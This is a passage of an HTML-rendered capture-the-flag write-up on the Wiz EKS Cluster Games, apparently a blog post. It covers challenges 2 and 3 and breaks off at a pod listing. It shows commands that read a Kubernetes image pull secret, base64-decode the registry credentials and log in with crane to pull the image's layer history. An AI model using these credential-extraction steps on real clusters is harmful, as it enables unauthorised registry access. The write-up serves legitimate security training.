#6CB6FF\"\u003e-o\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejson\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ejq\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'.items[0].spec.imagePullSecrets'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e[\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"name\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"registry-pull-secrets-780bab1d\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo that is the secret we need, lets view it:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esecret\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eregistry-pull-secrets-780bab1d\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-o\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejson\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ejq\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'.data.\".dockerconfigjson\"'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-r\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ebase64\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-d\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ejq\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"auths\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"index.docker.io/v1/\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"auth\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"ZWtzY2x1c3RlcmdhbWVzOmRj\u0026#x3C;*REDACTED*\u003e200bHI0NWlZUWo4RnVDbw==\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eLooks like we've got some more base64 decoding for the actual auth credentials:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eecho\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"ZWtzY2x1c3RdhbWVzOmRj\u0026#x3C;*REDACTED*\u003e200bHI0NWlZ4RnVDbw==\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ebase64\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-d\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eeksclustergames:dckr\u0026#x3C;*REDACTED*\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo now we can login with \u003ccode\u003ecrane auth\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecrane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eauth\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elogin\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-u\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeksclustergames\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-p\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edckr\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eREDACTED\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edocker.io\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e2023/11/03\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e02\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:35:49\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elogged\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ein\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003evia\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/home/user/.docker/config.json\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo if we try to view the image again it should work!\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecrane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econfig\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeksclustergames/base_ext_image\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ejq\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"architecture\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"amd64\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"config\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"Env\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"Cmd\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"/bin/sleep\"\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"3133337\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"ArgsEscaped\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003etrue\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"OnBuild\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enull\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"created\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-11-01T13:32:18.920734382Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"history\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"created\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-07-18T23:19:33.538571854Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"created_by\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"/bin/sh -c #(nop) ADD file:7e9002edaafd4e4579b65c8f0aaabde1aeb7fd3f8d95579f7fd3443cef785fd1 in / \"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"created\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-07-18T23:19:33.655005962Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"created_by\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"/bin/sh -c #(nop)  CMD [\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esh\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e]\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"empty_layer\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003etrue\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"created\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-11-01T13:32:18.920734382Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"created_by\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"RUN sh -c echo 'wiz_eks_challenge{nothing_can_be_said_to_*REDACTED*}' \u003e /flag.txt # buildkit\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"comment\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"buildkit.dockerfile.v0\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"created\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-11-01T13:32:18.920734382Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"created_by\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"CMD [\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/bin/sleep\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e3133337\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e]\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"comment\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"buildkit.dockerfile.v0\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"empty_layer\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003etrue\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"os\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"linux\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"rootfs\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"type\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"layers\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"diff_ids\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"sha256:3d24ee258efc3bfe4066a1a9fb83febf6dc0b1548dfe896161533668281c9f4f\"\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"sha256:a70cef1cb742e242b33cc21f949af6dc7e59b6ea3ce595c61c179c3be0e5d432\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    ]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eLooks like they leaked the secret right there in the image layers:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003ewiz_eks_challenge{nothing_can_be_said_to_*REDACTED*}'\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo lets submit that and move onto the next one!\u003c/p\u003e\n\u003ch1\u003eChallenge 3\u003c/h1\u003e\n\u003cp\u003eThe hint is:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eA pod's image holds more than just code. Dive deep into its ECR repository,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003einspect the image layers, and uncover the hidden secret.\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eRemember: You are running inside a compromised EKS pod.\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis sounds very similar to the last one but with the hints that its on ECR and\nthat we are in the pod itself it makes me believe we'll have something like IRSA\naccess to AWS from the pod and need to use that to get to it.\u003c/p\u003e\n\u003cp\u003eFirst lets check what pods we are working with:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003epod\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                      \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eREADY\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSTATUS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    